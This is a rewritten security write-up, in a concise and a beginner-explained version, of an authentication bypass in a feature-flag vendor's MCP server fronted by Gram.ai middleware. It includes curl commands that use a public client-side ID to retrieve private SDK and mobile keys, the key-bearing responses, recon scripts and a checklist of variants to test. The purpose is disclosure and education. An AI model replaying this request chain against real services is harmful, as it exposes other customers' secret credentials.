How I Found an Authentication Bypass in a Target’s MCP Server
A hosted MCP server accepted client-side environment IDs and server-side SDK keys as Bearer tokens, even though these credentials are meant only for flag evaluation and are publicly exposed. An attacker could use a public environment ID to authenticate to an admin tool surface and retrieve private SDK and mobile keys via the get-project tool.
medium.com
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
MCP, the Model Context Protocol, is an open standard for giving automated tooling structured access to external APIs. The author notes that in early 2025 it went from niche to mainstream, with every major SaaS product shipping an MCP server. The target in this write-up was one such product: a hosted MCP server at mcp.example.com, powered by a third-party middleware called Gram.ai, exposing 126 tools. Those tools range from reading feature flags to deleting them permanently.
The researcher found the endpoint through source analysis of the target's public GitHub. The ai-tooling repository contains an .mcp.json config file pointing directly at the endpoint:
https://mcp.example.com/mcp/targetname
As the author puts it, most researchers would have confirmed that authentication was required and moved on. He did not.
Setup
The target distinguishes three credential types:
- API tokens (
api-xxx), for management operations, kept secret. - Server-side SDK keys (
sdk-xxx), for flag evaluation from backend servers, kept secret. - Client-side environment IDs, 24-character hex strings embedded in browser JavaScript, explicitly documented as safe to expose publicly.
The MCP protocol uses POST-based JSON-RPC. The author's first probe used an Admin API token:
curl -s -X POST https://mcp.launchdarkly.com/mcp/launchdarkly \ -H "Content-Type: application/json" \ -H "Authorization: Bearer api-[ADMIN-TOKEN]" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
The response was HTTP 200 with 126 tools, which is expected: an Admin API token works here. The tool list itself is what makes the surface interesting:
delete-flag — "Permanently delete a feature flag. THIS IS IRREVERSIBLE."
toggle-flag — "Turn a feature flag's targeting on or off"
create-flag — "Create a new feature flag in a project"
update-targeting-rules — "Add, remove, or modify custom targeting rules"
invite-members — "Invite one or more people to the target account"
get-project — "Get a target project with its environments and SDK keys"
delete-agent-graph — "Permanently delete an agent graph. THIS IS IRREVERSIBLE."
The word IRREVERSIBLE appears five times across the tool descriptions.
Finding it
With the admin token confirmed working, the real test was whether the other credential types would be accepted as Bearer tokens. The author tried the server-side SDK key and the client-side environment ID:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer sdk-a8685b55-1209-414e-add3-a55077cfc737" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
Both returned 200 with the full tool list. The client-side environment ID, the credential the target explicitly documents as safe to hardcode in public browser JavaScript, authenticated to an endpoint exposing 126 administrative tools, including irreversible deletion operations.
Exploitation
The author lays out the full chain against any of the target's customers.
Step 1: Harvest the environment ID from a customer site
Visit any website using the target's client-side SDK. Open DevTools, go to Network, and filter for target.com. The environment ID appears in every request: it is a 24-character hex string in the URL path. Copy it.
Step 2: Authenticate to the MCP server with it
Use the harvested value as a Bearer token:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
Step 3: Call get-project
The author then invoked the get-project tool:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "get-project",
"arguments": {"projectKey": "default"}
},
"id": 1
}'
The response, from a test account with credentials since rotated, was:
{
"key": "default",
"name": "cypher's Account",
"environments": [
{
"key": "production",
"sdkKey": "sdk-a8685b55-1209-414e-add3-a55077cfc737",
"mobileKey": "mob-5d06ee9f-9116-49ef-ba55-ad53c56f29c8",
"clientSideId": "6a68ea6eae12c70aa5a6bad9"
}
]
}
The public client-side ID had returned the private server-side SDK key and the mobile key for the production environment.
Root cause
The hosted MCP server is not built by the target. The initialize response gives it away:
{
"serverInfo": {
"name": "Gram",
"version": "0.0.0"
}
}
It is built by Gram.ai, a third-party middleware service. When a request hits mcp.example.com, it routes through Gram.ai's infrastructure before reaching the target's backend. The authentication bypass existed at Gram's layer: Gram accepted credential types that the target's own management API would reject.
To be precise about the limits: when client-side IDs or SDK keys called most write tools, Gram forwarded the request to the target's API, which returned 401. Write operations did not execute with those credential types. But get-project worked, because the target's client-side API accepts the environment ID for flag evaluation, and Gram's implementation used an endpoint path that the target's API accepted. The result was credential escalation from a public value to private SDK and mobile keys.
The broader point the author draws is that when an API is fronted by third-party middleware, that middleware's authentication logic is your authentication logic.
How recon found it
This was not a targeted MCP hunt. It came from routine source analysis.
Phase 1, JavaScript bundle extraction:
curl -s https://app.example.com | grep -oP '(?<=src=")[^"]*\.js'
for js in $(cat bundle_list.txt); do
curl -s "$js" | grep -oP '"https?://[^"]{10,}"' >> urls.txt
done
sort -u urls.txt
Phase 2, GitHub organisation enumeration:
curl -s "https://api.github.com/orgs/example/repos?per_page=100" \ | jq -r '.[].name' | sort
The ai-tooling repository showed up. The .mcp.json inside it had the endpoint URL. The endpoint had the vulnerability. Public GitHub repositories for target organisations are, in the author's words, consistently underexplored.
Authentication vs. execution
The author is careful about the distinction: an authentication bypass does not require a full execution bypass to be a valid finding. The security model of a restricted credential is that this token cannot access admin surfaces. If a client-side environment ID authenticates to an admin API surface at all, regardless of whether every subsequent call succeeds, the credential boundary is violated.
The concrete impact here was get-project returning plaintext SDK keys: a credential escalation chain with real consequences. The rest of the 126-tool surface being partially constrained by backend enforcement does not undo the authentication misconfiguration.
Impact
Anyone who visits a site using the target's client-side SDK can read the environment ID from the URL path of its requests. That value authenticates to the MCP server and exposes the full 126-tool listing. Through get-project, it returned the plaintext server-side SDK key and mobile key for the production environment. Write tools did not execute with these credential types in the author's testing, because the backend returned 401, so the demonstrated impact is the credential escalation rather than destructive action.
Fix
The author's recommendations for anyone shipping or integrating an MCP server:
- Validate credential types at the MCP layer itself. A backend API rejecting SDK keys is not a substitute for the MCP middleware rejecting them. The middleware should not accept wrong credential types even if the downstream would catch them.
- Audit what credentials your tools return. Any tool that returns API keys, SDK keys or secrets should require the same authentication level as those secrets.
get-projectreturning plaintext SDK keys accessible via public credentials is a credential escalation vector that exists independently of write access. - Treat third-party MCP middleware as in scope for security reviews. If a vendor is processing your customer tokens, review their authentication implementation as part of your own attack surface, not as a separate concern.
- Architecturally prevent public credentials from reaching admin surfaces. Documentation is not enforcement.
Variants to test
- Other credential classes against the same MCP endpoint. Send each credential type the product documents as public or low privilege as a Bearer token to
tools/list. A positive result is a 200 with the full tool list rather than a 401. - Read-only tools that return secrets. For each tool whose description mentions keys, tokens or secrets, call it with the lowest-privilege credential that authenticates. A positive result is plaintext secret material in the response.
- Middleware identity check. Call
initializeand inspectserverInfo. A third-party name and version there tells you the authentication decisions may be made outside the target's own API, so test the middleware's accepted credential types directly. - Public config repositories. Enumerate the target's GitHub organisation and grep for
.mcp.json, endpoint URLs and config files. A positive result is an internal or semi-internal endpoint that is reachable and accepts a credential you already hold. - Client-side bundles for endpoint URLs. Extract absolute URLs from JavaScript bundles and look for API or MCP hosts. A positive result is an admin-looking endpoint that responds to a public credential.
What happened, in plain words
A security researcher found a way to get into a company's internal admin system using a piece of information that the company itself publishes on every customer website. That information is supposed to be harmless, like a name badge that only lets you into the lobby. But the researcher showed that the same badge also opened the door to the room where the master keys are kept.
The company runs a service that lets other companies switch features on and off in their apps (this kind of product is often called a feature flag service). It also offers an "MCP server", which is a way for AI tools and automation to talk to that service. The MCP server had 126 actions available, including deleting things permanently. The researcher discovered that the MCP server would accept a public, non-secret value as proof of identity, and that the get-project action then handed back the real secret keys.
Below, I walk through the whole story from zero: what each piece of technology is, what the researcher typed, what came back, and why it mattered.
Some background first
What is an API?
An API (Application Programming Interface) is a way for one piece of software to ask another piece of software to do something. A useful comparison is a restaurant. You do not walk into the kitchen and cook; you tell the waiter what you want, the waiter takes your order to the kitchen, and food comes back. The API is the waiter. The kitchen is the company's internal system. You never see the kitchen, you just send requests and get responses.
Most APIs on the web work over HTTP, the same protocol your browser uses to load web pages. Instead of a browser asking for a page, a program sends a request to a specific address (a URL) and gets data back, often in a format called JSON, which is just structured text that both sides can read.
What is a token or credential?
When you ask an API to do something, the API usually wants to know who you are and whether you are allowed. You prove this with a credential. A credential is like a ticket or a wristband at an event: you show it, and the door staff decide whether to let you in and which areas you can enter.
There are many kinds of credentials. A username and password is one. A token is a long string of random-looking characters that a server gives you after you log in, and that you send with every request afterwards. A common way to send it is in an HTTP header called Authorization, with the word Bearer in front, meaning "whoever bears (carries) this token is treated as the holder".
What is a feature flag?
A feature flag is a switch inside a product that turns a feature on or off without changing the code. Imagine a shop that can put a "new arrivals" sign in the window or take it down at any moment. Companies use feature flags to release new features gradually, to turn things off quickly if something breaks, and to show different things to different groups of users.
Because flags control what customers see, the system that manages them is sensitive. Deleting a flag by accident can remove a feature for everyone.
What is MCP?
MCP stands for Model Context Protocol. It is an open standard, meaning a published set of rules that anyone can implement, for giving automated tooling (such as AI assistants) structured access to external APIs. Think of it as a universal adapter: instead of teaching every AI tool the specific way to talk to every service, the service offers an MCP server, and any MCP-speaking tool can use it.
The article notes that in early 2025 MCP went from niche to mainstream, and every major SaaS product started shipping an MCP server. SaaS means "software as a service": products you use over the internet rather than install on your own computer.
An MCP server exposes tools. A tool is a named action the server can perform, with a description of what it does. When an AI or a program connects, it can ask the server for the list of tools, then call one.
What is middleware?
Middleware is software that sits between two other systems and passes messages between them, often adding something along the way. A comparison: a receptionist in an office building. Visitors do not walk straight to the employees; they talk to the receptionist, who checks them and then directs them onward. If the receptionist is too trusting, the fact that the employees' own doors are locked may not help.
What is an authentication bypass?
Authentication is the process of proving who you are. Authorisation is the process of deciding what you are allowed to do. An authentication bypass is a flaw where someone gets past the identity check without the credentials they should have needed. It does not necessarily mean they can do everything; it means the door that was supposed to be locked opened for the wrong key.
The setup
The target in this story is a company whose hosted MCP server lives at mcp.example.com. It is powered by a third-party middleware called Gram.ai and exposes 126 tools, ranging from reading feature flags to deleting them permanently.
So there are three layers here: the customer-facing product, the MCP server that automation talks to, and Gram.ai, the receptionist in the middle that checks requests before passing them to the company's own systems.
How did the researcher find this server? Not by guessing addresses. He did source analysis on the target's public GitHub. GitHub is a website where software teams store and share code. A public repository is a project folder that anyone can read. Source analysis means reading that public material carefully to learn how a system is put together.
The target's ai-tooling repository contains a configuration file called .mcp.json that points directly at the endpoint:
https://mcp.example.com/mcp/targetname
A configuration file is a small text file that tells a program where to connect and how. The .mcp.json file is effectively a note left in public saying "here is the address of our MCP server". The researcher's point is that most people would have checked that a password was required, seen that it was, and moved on. He did not.
The initial probe
The MCP protocol uses POST-based JSON-RPC. Two terms there:
- POST is one of the HTTP methods, the verbs of the web. GET means "give me something", POST means "here is some data, do something with it".
- JSON-RPC is a simple convention for remote procedure calls (asking a remote computer to run a function) where the request and response are written in JSON. Each request has a
method(what to do),params(arguments), and anid(a label so the reply can be matched to the request).
The researcher's first probe used an Admin API token, the credential you would expect to need for this surface:
curl -s -X POST https://mcp.launchdarkly.com/mcp/launchdarkly \ -H "Content-Type: application/json" \ -H "Authorization: Bearer api-[ADMIN-TOKEN]" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
Line by line:
curlis a command-line tool for sending HTTP requests. It is the waiter's notepad: you write down exactly what you want sent.-smeans silent: do not print progress noise, just the response.-X POSTsays use the POST method.- The URL is the address being called.
-H "Content-Type: application/json"is a header telling the server that the body of the request is JSON. Headers are extra labels attached to a request, like the address and handling notes on an envelope.-H "Authorization: Bearer api-[ADMIN-TOKEN]"is the header carrying the credential. The token itself is redacted here.-d '...'is the body of the request, the actual message. It says: using JSON-RPC version 2.0, run the methodtools/listwith no parameters, and label this request number 1.
The response was HTTP 200 with 126 tools. HTTP status codes are three-digit numbers a server returns: 200 means success, 401 means not authorised, 404 means not found. So the admin token worked, as expected.
Why run this at all if it was expected to work? Because you need a baseline. You first confirm what normal, correct behaviour looks like, so that later you can tell the difference when something abnormal happens.
The tool list itself is what makes the surface interesting:
delete-flag — "Permanently delete a feature flag. THIS IS IRREVERSIBLE."
toggle-flag — "Turn a feature flag's targeting on or off"
create-flag — "Create a new feature flag in a project"
update-targeting-rules — "Add, remove, or modify custom targeting rules"
invite-members — "Invite one or more people to the target account"
get-project — "Get a target project with its environments and SDK keys"
delete-agent-graph — "Permanently delete an agent graph. THIS IS IRREVERSIBLE."
Each line is a tool name, then the description the server gives for it. Read them as a list of buttons on a control panel: delete a flag, switch a flag on or off, create a flag, change who sees what, invite people into the account, fetch a project along with its keys, delete an agent graph. The word IRREVERSIBLE appears five times across the descriptions, meaning there is no undo.
That is why the next question matters so much: who exactly is allowed to press these buttons?
The finding
The target has three credential types, and understanding the difference between them is the heart of the whole story:
- API tokens (
api-xxx), for management operations, kept secret. These are the master keys. Theapi-prefix is a label so people can recognise the type at a glance. - Server-side SDK keys (
sdk-xxx), for flag evaluation from backend servers, kept secret. Flag evaluation means asking the service "should this feature be on for this user right now?". Backend servers are the machines behind a website that users never see. These keys are secret. - Client-side environment IDs, 24-character hex strings embedded in browser JavaScript, explicitly documented as safe to expose publicly. Hex means hexadecimal: digits 0 to 9 plus letters a to f. JavaScript is the programming language browsers run, and a browser bundle is the collection of JavaScript files a website sends to your browser. Because this value is shipped to every visitor's browser, the company documents it as safe to be public. It is the lobby badge.
With the admin token confirmed working, the real test was whether the other credential types would be accepted as Bearer tokens. The researcher tried the server-side SDK key and the client-side environment ID:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer sdk-a8685b55-1209-414e-add3-a55077cfc737" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
Line by line:
- The first command is the same request as before, but the
Authorizationheader now carries the server-side SDK key instead of the admin token. The body still asks fortools/list. - The second command is identical again, but the header carries the 24-character client-side environment ID.
- In both, everything else (the URL, the method, the JSON-RPC body) is unchanged. That is deliberate: you change one thing at a time so you know exactly what caused any difference in the response.
Both returned 200 with the full tool list. That is the finding. The client-side environment ID, the credential the target explicitly documents as safe to hardcode in public browser JavaScript, authenticated to an endpoint exposing 126 administrative tools, including irreversible deletion operations.
In other words: the lobby badge was accepted at the control panel door.
The attack chain
The researcher then laid out the full chain against any of the target's customers. A chain matters because a single odd response can be a curiosity; a chain shows a realistic path from something anyone can do to something valuable.
Step 1: Harvest the environment ID from a customer site
Visit any website using the target's client-side SDK. Open DevTools, go to Network, and filter for target.com. The environment ID appears in every request: it is a 24-character hex string in the URL path. Copy it.
Some explanation for anyone who has not used these tools:
- DevTools (developer tools) are built into browsers. You open them with a keyboard shortcut or a menu item.
- The Network tab lists every request the page makes: every image, script and data call.
- Filtering means typing a word so only matching requests are shown.
- The URL path is the part of an address after the domain name, like the folder path in a file location.
Why does this work? Because the browser has to send that ID with every request for the website to function, and anything the browser sends can be read by the person using the browser. There is no breaking in here at all. It is the same as reading a public poster.
Step 2: Authenticate to the MCP server with it
Use the harvested value as a Bearer token:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
This is the same request as in the finding, now presented as a step in the chain: take the value copied from a customer's website, put it in the Authorization header after the word Bearer, and ask the MCP server for its tool list. A 200 with the list means the server treats the public value as a valid identity.
Step 3: Call get-project
The researcher then invoked the get-project tool:
curl -s -X POST https://mcp.example.com/mcp/targetname \ -H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \ -d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "get-project",
"arguments": {"projectKey": "default"}
},
"id": 1
}'
Line by line:
- The URL and the
Authorizationheader are the same as before: still the public environment ID. - The body now uses the method
tools/callinstead oftools/list. Listing tools only describes what is available; calling a tool actually runs it. - Inside
params,namesays which tool to run:get-project. argumentspasses the tool's inputs. HereprojectKeyisdefault, meaning the default project. A project key is a short name identifying a project inside the service.idis still 1, the label for matching the reply.
The response, from a test account with credentials since rotated, was:
{
"key": "default",
"name": "cypher's Account",
"environments": [
{
"key": "production",
"sdkKey": "sdk-a8685b55-1209-414e-add3-a55077cfc737",
"mobileKey": "mob-5d06ee9f-9116-49ef-ba55-ad53c56f29c8",
"clientSideId": "6a68ea6eae12c70aa5a6bad9"
}
]
}
Reading the JSON:
keyandnameidentify the project: the default project, on an account named in the response.environmentsis a list. An environment is a separate copy of the configuration, such as production (the live system customers use) versus staging or test.- Inside the production environment,
sdkKeyis the secret server-side key,mobileKeyis a key for mobile apps, andclientSideIdis the public value that was used to get in.
So the public client-side ID had returned the private server-side SDK key and the mobile key for the production environment. The lobby badge had been used to fetch the master keys. "Credentials since rotated" means the keys shown were replaced with new ones after the report, so the old values no longer work.
The Gram.ai layer
Why did this happen? The hosted MCP server is not built by the target. The initialize response gives it away:
{
"serverInfo": {
"name": "Gram",
"version": "0.0.0"
}
}
initialize is the first message an MCP client sends when it connects, a bit like saying hello and asking who you are talking to. The reply includes serverInfo, which names the software answering. Here it says Gram, version 0.0.0.
So the server is built by Gram.ai, a third-party middleware service. When a request hits mcp.example.com, it routes through Gram.ai's infrastructure before reaching the target's backend. The receptionist works for another company.
The authentication bypass existed at Gram's layer: Gram accepted credential types that the target's own management API would reject. The target's own systems had the right rules; the middle layer did not apply them.
To be precise about the limits: when client-side IDs or SDK keys called most write tools, Gram forwarded the request to the target's API, which returned 401. Write tools are the ones that change things (create, delete, toggle). 401 means not authorised. So those operations did not execute with those credential types. The backend's own lock held.
But get-project worked, because the target's client-side API accepts the environment ID for flag evaluation, and Gram's implementation used an endpoint path that the target's API accepted. In plain terms: the public ID is legitimately allowed to ask "what should this user see?", and the route Gram used for get-project happened to be one the backend would answer for that ID. The result was credential escalation from a public value to private SDK and mobile keys. Escalation means moving from a low-value credential to a higher-value one.
The broader point the researcher draws is that when your API is fronted by third-party middleware, that middleware's authentication logic is your authentication logic. If the receptionist waves someone through, it does not matter that the office doors were locked.
How recon found it
This was not a targeted MCP hunt. It came from routine source analysis. Recon, short for reconnaissance, means gathering information about a target before testing it, much like looking at a building's public plans before trying any doors.
Phase 1, JavaScript bundle extraction:
curl -s https://app.example.com | grep -oP '(?<=src=")[^"]*\.js'
for js in $(cat bundle_list.txt); do
curl -s "$js" | grep -oP '"https?://[^"]{10,}"' >> urls.txt
done
sort -u urls.txt
Line by line:
- The first line downloads the main page of the app and pipes it into
grep. The pipe symbol|means "take the output of the left command and feed it to the right one".grepsearches text for patterns. -oPtells grep to print only the matching part, using Perl-compatible regular expressions. A regular expression is a pattern language for describing text.- The pattern
(?<=src=")[^"]*\.jsmeans: find text that comes right aftersrc="and consists of characters that are not a quote, ending in.js. In HTML,src="..."is how a page names the script files it loads. So this line lists the JavaScript files the page uses. - The
forloop then goes through that list, one file at a time. For each file it downloads it and greps for anything that looks like a full web address:"https?://[^"]{10,}"means a quote, then http or https, then://, then at least ten characters that are not a quote, then a quote. >> urls.txtappends each match to a file instead of overwriting it.sort -usorts the collected addresses and removes duplicates, so you get a clean unique list.
Why do this? Because websites often mention internal addresses in their own code. The browser needs to know where to send data, so the addresses are shipped to every visitor, and a careful reader can collect them.
Phase 2, GitHub organisation enumeration:
curl -s "https://api.github.com/orgs/example/repos?per_page=100" \ | jq -r '.[].name' | sort
Line by line:
- This calls GitHub's public API for the list of repositories belonging to an organisation (a company or group account on GitHub).
per_page=100asks for up to 100 results per page. jqis a tool for processing JSON.-r '.[].name'means: take the array of results and print thenamefield of each entry, as raw text.sortputs the names in alphabetical order.
Why do this? To get a tidy inventory of everything the organisation publishes. The ai-tooling repository showed up. The .mcp.json inside it had the endpoint URL. The endpoint had the vulnerability. Public GitHub repositories for target organisations are, in the researcher's words, consistently underexplored.
Authentication vs. execution
The researcher is careful about a distinction that beginners often miss: an authentication bypass does not require a full execution bypass to be a valid finding.
The security model of a restricted credential is that this token cannot access admin surfaces. If a client-side environment ID authenticates to an admin API surface at all, regardless of whether every subsequent call succeeds, the credential boundary is violated. The boundary is the promise that this key opens only these doors. If it opens a door it was never meant to open, even one that leads to a corridor where other doors stay locked, the promise is broken.
The concrete impact here was get-project returning plaintext SDK keys: a credential escalation chain with real consequences. Plaintext means readable, not encrypted or masked. The rest of the 126-tool surface being partially constrained by backend enforcement does not undo the authentication misconfiguration. A misconfiguration is a setting or design choice that is wrong, as opposed to a bug in the code itself.
Impact
Anyone who visits a site using the target's client-side SDK can read the environment ID from the URL path of its requests. That value authenticates to the MCP server and exposes the full 126-tool listing. Through get-project, it returned the plaintext server-side SDK key and mobile key for the production environment.
Write tools did not execute with these credential types in the researcher's testing, because the backend returned 401, so the demonstrated impact is the credential escalation rather than destructive action. In everyday terms: the researcher proved he could get the master keys, not that he could use them to delete the shop. Getting the keys is serious enough on its own.
Fix
The researcher's recommendations for anyone shipping or integrating an MCP server:
- Validate credential types at the MCP layer itself. A backend API rejecting SDK keys is not a substitute for the MCP middleware rejecting them. The middleware should not accept wrong credential types even if the downstream would catch them. Downstream means the systems further along the chain, closer to the data.
- Audit what credentials your tools return. Any tool that returns API keys, SDK keys or secrets should require the same authentication level as those secrets.
get-projectreturning plaintext SDK keys accessible via public credentials is a credential escalation vector that exists independently of write access. A vector is a route an attack can take. - Treat third-party MCP middleware as in scope for security reviews. If a vendor is processing your customer tokens, review their authentication implementation as part of your own attack surface, not as a separate concern. Attack surface is everything an attacker can reach and try.
- Architecturally prevent public credentials from reaching admin surfaces. Documentation is not enforcement. Writing "this value is safe to publish" in a manual does not stop the value from being accepted somewhere it should not be; the system itself has to refuse it.
Variants to test
If you want to look for similar issues, these are the checks the researcher suggests. Each one names what to send and what a positive result looks like.
- Other credential classes against the same MCP endpoint. Send each credential type the product documents as public or low privilege as a Bearer token to
tools/list. A positive result is a 200 with the full tool list rather than a 401. - Read-only tools that return secrets. For each tool whose description mentions keys, tokens or secrets, call it with the lowest-privilege credential that authenticates. A positive result is plaintext secret material in the response.
- Middleware identity check. Call
initializeand inspectserverInfo. A third-party name and version there tells you the authentication decisions may be made outside the target's own API, so test the middleware's accepted credential types directly. - Public config repositories. Enumerate the target's GitHub organisation and grep for
.mcp.json, endpoint URLs and config files. A positive result is an internal or semi-internal endpoint that is reachable and accepts a credential you already hold. - Client-side bundles for endpoint URLs. Extract absolute URLs from JavaScript bundles and look for API or MCP hosts. A positive result is an admin-looking endpoint that responds to a public credential.
Glossary
- API (Application Programming Interface): a defined way for one program to ask another to do something, like a waiter carrying orders to a kitchen.
- API token: a secret string used as a credential for management operations; here, the highest-privilege key type, prefixed
api-. - Attack surface: everything an attacker can reach and try.
- Authentication: proving who you are.
- Authentication bypass: getting past an identity check without the credentials that should have been required.
- Authorisation: deciding what an authenticated identity is allowed to do.
- Backend: the servers behind a website that users do not see directly.
- Bearer token: a credential sent in the
Authorizationheader after the wordBearer, meaning whoever carries it is treated as its holder. - Browser bundle: the collection of JavaScript files a website sends to your browser.
- Client-side: running in the user's browser rather than on the company's servers.
- Client-side environment ID: a 24-character hex value embedded in browser JavaScript and documented as safe to expose publicly.
- Credential: anything used to prove identity or permission, such as a password, token or key.
- Credential escalation: using a low-value credential to obtain a higher-value one.
- curl: a command-line tool for sending HTTP requests.
- DevTools: developer tools built into browsers, including a Network tab that lists every request a page makes.
- Endpoint: a specific address on a server that accepts requests.
- Environment: a separate copy of a configuration, such as production (live) or staging (test).
- Feature flag: a switch that turns a product feature on or off without changing code.
- Flag evaluation: asking the service whether a feature should be on for a particular user right now.
- GitHub: a website where teams store and share code; a public repository is readable by anyone.
- grep: a command-line tool that searches text for a pattern.
- Header: extra information attached to an HTTP request or response, such as the content type or the credential.
- Hex (hexadecimal): a number system using digits 0 to 9 and letters a to f.
- HTTP: the protocol browsers and programs use to exchange requests and responses on the web.
- HTTP status code: a three-digit number in a response; 200 means success, 401 means not authorised, 404 means not found.
- Impact: the real-world consequence of a flaw.
- initialize: the first MCP message a client sends, which returns information about the server.
- IRREVERSIBLE: cannot be undone; used in tool descriptions for permanent deletions.
- JavaScript: the programming language browsers run.
- jq: a command-line tool for processing JSON.
- JSON: a structured text format for data, readable by both people and programs.
- JSON-RPC: a convention for remote procedure calls where requests and responses are written in JSON, with a method, params and id.
- MCP (Model Context Protocol): an open standard for giving automated tooling structured access to external APIs.
- MCP server: a service that speaks MCP and offers tools that clients can list and call.
- Middleware: software sitting between two systems that passes messages between them, like a receptionist.
- Misconfiguration: a wrong setting or design choice, as opposed to a coding bug.
- Mobile key: a key used by mobile apps, prefixed
mob-in the response shown. - Plaintext: readable, not encrypted or masked.
- POST: an HTTP method meaning "here is data, do something with it".
- Project key: a short name identifying a project inside the service.
- Recon (reconnaissance): gathering information about a target before testing it.
- Regular expression: a pattern language for describing and finding text.
- Repository: a project folder for code, on GitHub or elsewhere.
- SaaS (software as a service): products used over the internet rather than installed locally.
- SDK (software development kit): a set of tools and libraries for building against a service; an SDK key is the credential those tools use.
- Server-side SDK key: a secret key used by backend servers to evaluate flags, prefixed
sdk-. - Source analysis: reading publicly available code and configuration to learn how a system is built.
- Token: a string used as a credential in place of a password.
- Tool (in MCP): a named action an MCP server offers, with a description of what it does.
- tools/call: the JSON-RPC method that runs a named tool with arguments.
- tools/list: the JSON-RPC method that returns the list of tools a server offers.
- URL path: the part of an address after the domain name, like a folder path.
- Vector: a route an attack can take.
- Write tool: a tool that changes something, such as creating, deleting or toggling.